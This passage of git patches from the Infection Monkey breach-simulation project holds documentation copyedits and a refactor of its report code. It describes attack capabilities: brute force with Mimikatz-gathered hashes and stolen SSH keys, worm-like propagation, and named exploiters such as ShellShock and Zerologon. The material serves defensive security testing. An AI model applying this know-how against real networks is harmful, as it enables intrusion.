distributes Monkey Agent binaries on the network manually. Based on -the configuration parameters, Monkey Agents scan, propagate and simulate attackers behaviour on the local network. All of the +the configuration parameters, Monkey Agents scan, propagate and simulate attackers behavior on the local network. All of the information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. ## Results -Results of running Monkey Agents are: - - A map which displays how much of the network attacker can see, services accessible and potential propagation routes. - - Security report, which displays security issues Monkey Agents found and/or exploited. - - Mitre ATT&CK report, which displays the outcomes of ATT&CK techniques Monkey Agents tried to use. - - Zero Trust report, which displays violations of Zero Trust principles that Agents found. +The results of running Monkey Agents are: + - A map which displays how much of the network an attacker can see, what services are accessible and potential propagation routes. + - A security report, which displays security issues that Monkey Agents discovered and/or exploited. + - A Mitre ATT&CK report, which displays the information about the ATT&CK techniques that Monkey Agents tried to use. + - A Zero Trust report, which displays violations of Zero Trust principles that Monkey Agents found. -More in depth description of reports generated can be found in [reports documentation page](/reports) +A more in-depth description of reports generated can be found in the [reports documentation page](/reports). ## Getting Started From 9e92ba02483b22e4a55284237cc623cfc6a2c120 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Mar 2021 10:24:01 -0400 Subject: [PATCH 0035/1360] docs: Copyedits to FAQ/_index.md --- docs/content/FAQ/_index.md | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 3785a901752..959f1d9da25 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -7,14 +7,14 @@ pre: " " Below are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). -- [Where can I get the latest version of the Infection Monkey? 📰](#where-can-i-get-the-latest-version-of-the-infection-monkey-) +- [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey) - [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) - [How do I reset the Monkey Island password?](#how-do-i-reset-the-monkey-island-password) - [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) - [Where can I find the log files of the Infection Monkey agent and the Monkey Island server, and how can I read them?](#where-can-i-find-the-log-files-of-the-infection-monkey-agent-and-the-monkey-island-and-how-can-i-read-them) - - [Monkey Island](#monkey-island) - - [Monkey agent](#monkey-agent) + - [Monkey Island server](#monkey-island-server) + - [Infection Monkey agent](#infection-monkey-agent) - [Running the Infection Monkey in a production environment](#running-the-infection-monkey-in-a-production-environment) - [How much of a footprint does the Infection Monkey leave?](#how-much-of-a-footprint-does-the-infection-monkey-leave) - [What's the Infection Monkey's impact on system resources usage?](#whats-the-infection-monkeys-impact-on-system-resources-usage) @@ -24,9 +24,9 @@ Below are some of the most common questions we receive about the Infection Monke - [After I've set up Monkey Island, how can I execute the Infection Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-infection-monkey-agent) - [How can I make the Infection Monkey agents propagate “deeper†into the network?](#how-can-i-make-the-infection-monkey-agent-propagate-deeper-into-the-network) - [What if the report returns a blank screen?](#what-if-the-report-returns-a-blank-screen) -- [How can I get involved with the project? 👩â€ðŸ’»ðŸ‘¨â€ðŸ’»](#how-can-i-get-involved-with-the-project-) +- [How can I get involved with the project?](#how-can-i-get-involved-with-the-project) -## Where can I get the latest version of the Infection Monkey? 📰 +## Where can I get the latest version of the Infection Monkey? For the latest **stable** release, visit [our downloads page](https://www.guardicore.com/infectionmonkey/#download). **This is the recommended and supported version**! @@ -34,13 +34,13 @@ If you want to see what has changed between versions, refer to the [releases pag ## How long does a single Infection Monkey agent run? Is there a time limit? -The Infection Monkey agent shuts off either when it can't find new victims or it exceeded the quota of victims as defined in the configuration. +The Infection Monkey agent shuts off either when it can't find new victims or it has exceeded the quota of victims as defined in the configuration. ## How do I reset the Monkey Island password? -When you first access the Monkey Island server, you'll be prompted to create an account. If you forgot the credentials you entered, or just want to change them, you need to alter the `server_config.json` file manually. +When you first access the Monkey Island server, you'll be prompted to create an account. If you forget the credentials you entered, or just want to change them, you need to alter the `server_config.json` file manually. -On Linux, this file is located in `/var/monkey/monkey_island/cc/server_config.json`. On Windows, it's based on your install directory (typically it is `C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file leaving the **deployment option unchanged** (it might be "VMware" or "Linux" in your case): +On Linux, this file is located at `/var/monkey/monkey_island/cc/server_config.json`. On Windows, it's based on your install directory (typically it is `C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file leaving the **deployment option unchanged** (it might be "VMware" or "Linux" in your case): ```json { @@ -64,7 +64,7 @@ If internet access is available, the Infection Monkey will use the internet for - To check for updates. - To check if machines can reach the internet. -### Which queries does the Infection Monkey perform to the internet exactly? +### Exactly what internet queries does the Infection Monkey perform? The Monkey performs queries out to the Internet on two separate occasions: @@ -89,7 +89,7 @@ The log enables you to see which requests were requested from the server and ext 2019-07-23 10:52:24,027 - report.py:580 - get_domain_issues() - INFO - Domain issues generated for reporting ``` -### The Infection Monkey agent +### Infection Monkey agent The Infection Monkey agent log file can be found in the following paths on machines where it was executed: @@ -140,7 +140,7 @@ Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey I When you reset the Monkey Island configuration, the Monkey Island wipes the information. -### How stable are the exploitations used by the Infection Monkey? Will the Infection Monkey crash my systems with its exploits? +### How stable are the exploits used by the Infection Monkey? Will the Infection Monkey crash my systems with its exploits? The Infection Monkey does not use any exploits or attacks that may impact the victim system. @@ -152,7 +152,7 @@ See our detailed [getting started](../content/usage/getting-started) guide. ## How can I make the Infection Monkey agent propagate “deeper†into the network? -If you wish to simulate a very “deep†attack into your network, you can increase the *propagation depth* parameter in the configuration. This parameter tells the Infection Monkey how far to propagate into your network from the “patient zero†machine, from which it was launched manually. +If you wish to simulate a very “deep†attack into your network, you can increase the *propagation depth* parameter in the configuration. This parameter tells the Infection Monkey how far to propagate into your network from the “patient zero†machine. To do this, change the *Distance from Island* parameter in the “Basic - Network†tab of the configuration: @@ -165,9 +165,9 @@ This is sometimes caused when Monkey Island is installed with an old version of - **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). - **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of MongoDB using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Monkey Island again and everything should work. -## How can I get involved with the project? 👩â€ðŸ’»ðŸ‘¨â€ðŸ’» +## How can I get involved with the project? -The Monkey is an open-source project, and we weclome contributions and contributors. Check out the [contribution documentation](../development) for more information. +The Monkey is an open-source project, and we welcome contributions and contributors. Check out the [contribution documentation](../development) for more information. ## About the project 🵠From 98ab4eff0520a30da1ec33d55f70db41141ef32c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Mar 2021 10:29:35 -0400 Subject: [PATCH 0036/1360] docs: minor copyedits to exploters --- docs/content/reference/exploiters/SMBExec.md | 2 +- docs/content/reference/exploiters/SSHExec.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/exploiters/SMBExec.md b/docs/content/reference/exploiters/SMBExec.md index dee01c6372a..0e4b8366bee 100644 --- a/docs/content/reference/exploiters/SMBExec.md +++ b/docs/content/reference/exploiters/SMBExec.md @@ -6,4 +6,4 @@ tags: ["exploit", "windows"] --- ### Description -This exploit brute forces machines using credentials provided by the user (see [configuration](../usage/configuration) for instructions) and hashes gathered by Mimikatz. +This exploit brute forces machines using credentials provided by the user (see [configuration](../usage/configuration) for instructions) and hashes gathered from infected systems by Mimikatz. diff --git a/docs/content/reference/exploiters/SSHExec.md b/docs/content/reference/exploiters/SSHExec.md index 9a6fd65370c..de9f32d359e 100644 --- a/docs/content/reference/exploiters/SSHExec.md +++ b/docs/content/reference/exploiters/SSHExec.md @@ -6,4 +6,4 @@ tags: ["exploit", "linux"] --- ### Description -This exploit brute forces machines using credentials provided by the user (see ["configuration"](../usage/configuration) for instructions) and SSH keys gathered from systems. +This exploit brute forces machines using credentials provided by the user (see ["configuration"](../usage/configuration) for instructions) and SSH keys gathered from infected systems. From 6ff26ac989b5786e6dd044d7c5966d7e364228f9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Mar 2021 10:33:43 -0400 Subject: [PATCH 0037/1360] docs: copyedits to operating_systems_support.md --- docs/content/reference/operating_systems_support.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/content/reference/operating_systems_support.md b/docs/content/reference/operating_systems_support.md index 02cefbac031..36caaa25d61 100644 --- a/docs/content/reference/operating_systems_support.md +++ b/docs/content/reference/operating_systems_support.md @@ -9,7 +9,7 @@ tags: ["setup", "reference", "windows", "linux"] The Infection Monkey project supports many popular OSes (but we are always interested in supporting more). -The Infection Monkey agent has been tested to run on the following operating systems (on x64 architecture): +The Infection Monkey agent has been tested to run on the following operating systems (on the x86_64 architecture): ### Agent support @@ -46,7 +46,7 @@ We also provide a Dockerfile on our [website](http://infectionmonkey.com/) that ### Old machine bootloader -Some **older machines** still have partial compatibility and will be exploited and reported, but the Infection Monkey agent can't run on them. In these cases, old machine bootloader (a small c program) will be run, which reports some minor info like network interface configuration, GLIBC version, OS, etc. +Some **older machines** still have partial compatibility and will be exploited and reported, but the Infection Monkey agent can't run on them. In these cases, old machine bootloader (a small C program) will be run, which reports some minor info like network interface configuration, GLIBC version, OS, etc. **Old machine bootloader** also has a GLIBC 2.14+ requirement for Linux because the bootloader is included in the Pyinstaller bootloader, which uses Python 3.7 that in turn requires GLIBC 2.14+. If you think partial support for older machines is important, don't hesitate to open a new issue about it. @@ -61,4 +61,4 @@ Some **older machines** still have partial compatibility and will be exploited a - Ubuntu 14+ - **Windows XP/Server 2003+** -[^1]: The GLIBC >= 2.14 requirement exists because the Infection Monkey was built using this GLIBC version, and GLIBC is not backward compatible. We are also limited to the oldest GLIBC version compatible with Ptyhon 3.7. +[^1]: The GLIBC >= 2.14 requirement exists because the Infection Monkey was built using this GLIBC version, and GLIBC is not backward compatible. We are also limited to the oldest GLIBC version compatible with Python 3.7. From 5cbdc7b41f539efe253c1dafc4b4d574804d6a36 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Mar 2021 10:36:16 -0400 Subject: [PATCH 0038/1360] docs: copyedits to reference/scanners/_index.md --- docs/content/reference/scanners/_index.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/content/reference/scanners/_index.md b/docs/content/reference/scanners/_index.md index d600d8d09d7..8cca71b21ad 100644 --- a/docs/content/reference/scanners/_index.md +++ b/docs/content/reference/scanners/_index.md @@ -25,12 +25,12 @@ Fingerprinters are modules that collect server information from a specific victi The currently implemented Fingerprint modules are: -1. [`SMBFinger`][smb-finger] - Fingerprints will target machines over SMB and extract the computer name and OS version. -2. [`SSHFinger`][ssh-finger] - Fingerprints will target machines over SSH (port 22) and extract the computer version and SSH banner. -3. [`PingScanner`][ping-scanner] - Fingerprints will use the machine's TTL to differentiate between Linux and Windows hosts. -4. [`HTTPFinger`][http-finger] - Fingerprints over HTTP/HTTPS, using the ports listed in `HTTP_PORTS` in the configuration, will return the server type and if it supports SSL. -5. [`MySQLFinger`][mysql-finger] - Fingerprints over MySQL (port 3306) will extract MySQL banner info - version, major/minor/build and capabilities. -6. [`ElasticFinger`][elastic-finger] - Fingerprints over ElasticSearch (port 9200) will extract the cluster name, node name and node version. +1. [`SMBFinger`][smb-finger] - Fingerprints target machines over SMB and extracts the computer name and OS version. +2. [`SSHFinger`][ssh-finger] - Fingerprints target machines over SSH (port 22) and extracts the computer version and SSH banner. +3. [`PingScanner`][ping-scanner] - Fingerprints target machine's TTL to differentiate between Linux and Windows hosts. +4. [`HTTPFinger`][http-finger] - Detects HTTP/HTTPS services, using the ports listed in `HTTP_PORTS` in the configuration, will return the server type and if it supports SSL. +5. [`MySQLFinger`][mysql-finger] - Fingerprints MySQL (port 3306) and will extract MySQL banner info - version, major/minor/build and capabilities. +6. [`ElasticFinger`][elastic-finger] - Fingerprints ElasticSearch (port 9200) will extract the cluster name, node name and node version. ## Adding a scanner/fingerprinter From 1768a580236dcc60597b66b756ec6d52c03a4c6f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 25 Mar 2021 09:11:13 +0200 Subject: [PATCH 0039/1360] Fixed more typos and style issues with monkey home documentation page --- docs/content/_index.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/content/_index.md b/docs/content/_index.md index 7d739d6f59c..802df2130aa 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -11,7 +11,7 @@ draft: false ## What is Guardicore Infection Monkey? The Infection Monkey is an open-source breach and attack simulation tool for testing a data center's resiliency to perimeter breaches and internal server infection. -Infection Monkey will help you validate existing security solutions and will provide a view of the internal your network from an attacker's perspective. +Infection Monkey will help you validate existing security solutions and will provide a view of the internal network from an attacker's perspective. Infection Monkey is free and can be downloaded from [our homepage](https://infectionmonkey.com/). @@ -19,13 +19,13 @@ Infection Monkey is free and can be downloaded from [our homepage](https://infec ## How it works -Architecturally, Infection Monkey is comprised of two parts: +Architecturally, Infection Monkey is comprised of two components: * Monkey Agent (Monkey for short) - a safe, worm-like binary program which scans, propagates and simulates attack techniques on the **local network**. * Monkey Island Server (Island for short) - a C&C web server which provides a GUI for users and interacts with the Monkey Agents. -User runs Monkey Agent on the Island server machine or distributes Monkey Agent binaries on the network manually. Based on -the configuration parameters, Monkey Agents scan, propagate and simulate attackers behavior on the local network. All of the +The user can run the Monkey Agent on the Island server machine or distribute Monkey Agent binaries on the network manually. Based on +the configuration parameters, Monkey Agents scan, propagate and simulate attacker's behavior on the local network. All of the information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. ## Results @@ -33,7 +33,7 @@ information gathered about the network is aggregated in the Island Server and di The results of running Monkey Agents are: - A map which displays how much of the network an attacker can see, what services are accessible and potential propagation routes. - A security report, which displays security issues that Monkey Agents discovered and/or exploited. - - A Mitre ATT&CK report, which displays the information about the ATT&CK techniques that Monkey Agents tried to use. + - A MITRE ATT&CK report, which displays the information about the ATT&CK techniques that Monkey Agents tried to use. - A Zero Trust report, which displays violations of Zero Trust principles that Monkey Agents found. A more in-depth description of reports generated can be found in the [reports documentation page](/reports). From 8efc3e654c499e06a23434cc1a5451d32c23e7a0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 23 Feb 2021 08:21:49 +0200 Subject: [PATCH 0040/1360] Extracted exploiters from reports in front end and back end --- .../reporting/issue_processing/__init__.py | 0 .../exploit_processing/__init__.py | 0 .../exploiter_descriptor_enum.py | 32 + .../exploit_processing/processors/__init__.py | 0 .../processors/cred_exploit.py | 33 + .../exploit_processing/processors/exploit.py | 21 + .../processors/shellshock_exploit.py | 16 + .../reporting/issue_processing/issue.py | 0 .../issue_processing/issue_processor.py | 0 .../cc/services/reporting/report.py | 334 ++---- .../cc/services/reporting/test_report.py | 51 + .../report-components/SecurityReport.js | 955 ++++-------------- .../security/IssueDescriptor.js | 7 + .../security/issues/AzurePasswordIssue.js | 22 + .../security/issues/CrossSegmentIssue.js | 84 ++ .../security/issues/DrupalIssue.js | 23 + .../security/issues/ElasticIssue.js | 22 + .../security/issues/HadoopIssue.js | 22 + .../security/issues/MS08_067Issue.js | 23 + .../security/issues/MssqlIssue.js | 23 + .../issues/PthCriticalServiceIssue.js | 6 + .../security/issues/SambacryIssue.js | 27 + .../security/issues/SharedPasswordsIssue.js | 49 + .../security/issues/ShellShockIssue.js | 29 + .../security/issues/SmbIssue.js | 36 + .../security/issues/SshIssue.js | 38 + .../security/issues/StolenCredsIssue.js | 5 + .../security/issues/StrongUsersOnCritIssue.js | 15 + .../security/issues/Struts2Issue.js | 25 + .../security/issues/TunnelIssue.js | 18 + .../security/issues/VsftpdIssue.js | 35 + .../security/issues/WeakPasswordIssue.js | 6 + .../security/issues/WebLogicIssue.js | 22 + .../security/issues/WmiIssue.js | 36 + .../security/issues/utils.js | 6 + 35 files changed, 964 insertions(+), 1057 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/__init__.py create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/__init__.py create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/__init__.py create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/issue.py create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/issue_processor.py create mode 100644 monkey/monkey_island/cc/services/reporting/test_report.py create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/IssueDescriptor.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/__init__.py b/monkey/monkey_island/cc/services/reporting/issue_processing/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/__init__.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py new file mode 100644 index 00000000000..e6820b1786d --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -0,0 +1,32 @@ +from dataclasses import dataclass +from enum import Enum +from typing import Type + +from monkey_island.cc.services.reporting.issue_processing.exploit_processing import CredExploitProcessor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing import ExploitProcessor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing import \ + ShellShockExploitProcessor + + +@dataclass +class ExploiterDescriptor: + # Must match with class names of exploiters in Infection Monkey code + class_name: str + display_name: str + processor: Type[ExploitProcessor] + + +class ExploiterDescriptorEnum(Enum): + SMB = ExploiterDescriptor('SmbExploiter', 'SMB Exploiter', CredExploitProcessor) + WMI = ExploiterDescriptor('WmiExploiter', 'WMI Exploiter', CredExploitProcessor) + SSH = ExploiterDescriptor('SSHExploiter', 'SSH Exploiter', CredExploitProcessor) + SAMBACRY = ExploiterDescriptor('SambaCryExploiter', 'SambaCry Exploiter', CredExploitProcessor) + ELASTIC = ExploiterDescriptor('ElasticGroovyExploiter', 'Elastic Groovy Exploiter', ExploitProcessor) + MS08_067 = ExploiterDescriptor('Ms08_067_Exploiter', 'Conficker Exploiter', ExploitProcessor) + SHELLSHOCK = ExploiterDescriptor('ShellShockExploiter', 'ShellShock Exploiter', ShellShockExploitProcessor) + STRUTS2 = ExploiterDescriptor('Struts2Exploiter', 'Struts2 Exploiter', ExploitProcessor) + WEBLOGIC = ExploiterDescriptor('WebLogicExploiter', 'Oracle WebLogic Exploiter', ExploitProcessor) + HADOOP = ExploiterDescriptor('HadoopExploiter', 'Hadoop/Yarn Exploiter', ExploitProcessor) + MSSQL = ExploiterDescriptor('MSSQLExploiter', 'MSSQL Exploiter', ExploitProcessor) + VSFTPD = ExploiterDescriptor('VSFTPDExploiter', 'VSFTPD Backdoor Exploiter', CredExploitProcessor) + DRUPAL = ExploiterDescriptor('DrupalExploiter', 'Drupal Server Exploiter', ExploitProcessor) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/__init__.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py new file mode 100644 index 00000000000..fc61676b846 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -0,0 +1,33 @@ +from __future__ import annotations + +from enum import Enum + +from monkey_island.cc.services.reporting.issue_processing.exploit_processing import ExploitProcessor, \ + ExploiterReportInfo + + +class CredentialType(Enum): + PASSWORD = 'password' + HASH = 'hash' + KEY = 'key' + + +class CredExploitProcessor(ExploitProcessor): + + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) + + for attempt in exploit_dict['data']['attempts']: + if attempt['result']: + exploit_info.username = attempt['user'] + if attempt['password']: + exploit_info.credential_type = CredentialType.PASSWORD.value + exploit_info.password = attempt['password'] + elif attempt['ssh_key']: + exploit_info.credential_type = CredentialType.KEY.value + exploit_info.ssh_key = attempt['ssh_key'] + else: + exploit_info.credential_type = CredentialType.HASH.value + return exploit_info + return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py new file mode 100644 index 00000000000..79ebb2dfbd5 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py @@ -0,0 +1,21 @@ +from __future__ import annotations + +from dataclasses import dataclass + +from monkey_island.cc.services.node import NodeService + + +@dataclass +class ExploiterReportInfo: + machine: str + ip_address: str + type: str + + +class ExploitProcessor: + + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + ip_addr = exploit_dict['data']['machine']['ip_addr'] + machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr)) + return ExploiterReportInfo(ip_address=ip_addr, machine=machine, type=class_name) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py new file mode 100644 index 00000000000..181a19f41b5 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py @@ -0,0 +1,16 @@ +from __future__ import annotations + +from monkey_island.cc.services.reporting.issue_processing.exploit_processing import ExploitProcessor, \ + ExploiterReportInfo + + +class ShellShockExploitProcessor(ExploitProcessor): + + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) + + urls = exploit_dict['data']['info']['vulnerable_urls'] + exploit_info.port = urls[0].split(':')[2].split('/')[0] + exploit_info.paths = ['/' + url.split(':')[2].split('/')[1] for url in urls] + return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/issue.py b/monkey/monkey_island/cc/services/reporting/issue_processing/issue.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/issue_processor.py b/monkey/monkey_island/cc/services/reporting/issue_processing/issue_processor.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index a23aa6d8523..30f096fb792 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -2,7 +2,7 @@ import ipaddress import itertools import logging -from enum import Enum +from typing import Dict, List from bson import json_util @@ -17,6 +17,10 @@ USER_LIST_PATH) from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ExploiterDescriptorEnum, \ + ExploiterDescriptor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing import CredentialType +from monkey_island.cc.services.reporting.issue_processing.exploit_processing import ExploiterReportInfo from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report @@ -26,52 +30,19 @@ logger = logging.getLogger(__name__) +def build_exploiter_descriptor_dict() -> Dict[str, ExploiterDescriptor]: + descriptor_dict = {} + for descriptor in ExploiterDescriptorEnum: + descriptor_dict[descriptor.value.class_name] = descriptor + return descriptor_dict + + class ReportService: - def __init__(self): - pass - - EXPLOIT_DISPLAY_DICT = \ - { - 'SmbExploiter': 'SMB Exploiter', - 'WmiExploiter': 'WMI Exploiter', - 'SSHExploiter': 'SSH Exploiter', - 'SambaCryExploiter': 'SambaCry Exploiter', - 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', - 'Ms08_067_Exploiter': 'Conficker Exploiter', - 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter', - 'WebLogicExploiter': 'Oracle WebLogic Exploiter', - 'HadoopExploiter': 'Hadoop/Yarn Exploiter', - 'MSSQLExploiter': 'MSSQL Exploiter', - 'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter', - 'DrupalExploiter': 'Drupal Server Exploiter', - 'ZerologonExploiter': 'Windows Server Zerologon Exploiter' - } - - class ISSUES_DICT(Enum): - WEAK_PASSWORD = 0 - STOLEN_CREDS = 1 - ELASTIC = 2 - SAMBACRY = 3 - SHELLSHOCK = 4 - CONFICKER = 5 - AZURE = 6 - STOLEN_SSH_KEYS = 7 - STRUTS2 = 8 - WEBLOGIC = 9 - HADOOP = 10 - PTH_CRIT_SERVICES_ACCESS = 11 - MSSQL = 12 - VSFTPD = 13 - DRUPAL = 14 - ZEROLOGON = 15 - ZEROLOGON_PASSWORD_RESTORE_FAILED = 16 - - class WARNINGS_DICT(Enum): - CROSS_SEGMENT = 0 - TUNNEL = 1 - SHARED_LOCAL_ADMIN = 2 - SHARED_PASSWORDS = 3 + exploiter_descriptors = build_exploiter_descriptor_dict() + + class DerivedIssueEnum: + WEAK_PASSWORD = "weak_password" + STOLEN_CREDS = "stolen_creds" @staticmethod def get_first_monkey_time(): @@ -169,9 +140,7 @@ def get_exploited(): 'label': exploited_node['label'], 'ip_addresses': exploited_node['ip_addresses'], 'domain_name': exploited_node['domain_name'], - 'exploits': list(set( - [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in exploited_node['exploits'] - if exploit['result']])) + 'exploits': ReportService.get_exploits_used_on_node(exploited_node) } for exploited_node in exploited] @@ -179,6 +148,10 @@ def get_exploited(): return exploited + @staticmethod + def get_exploits_used_on_node(node: dict) -> List[str]: + return list(set([exploit['exploiter'] for exploit in node['exploits'] if exploit['result']])) + @staticmethod def get_stolen_creds(): creds = [] @@ -281,148 +254,12 @@ def get_azure_creds(): return creds @staticmethod - 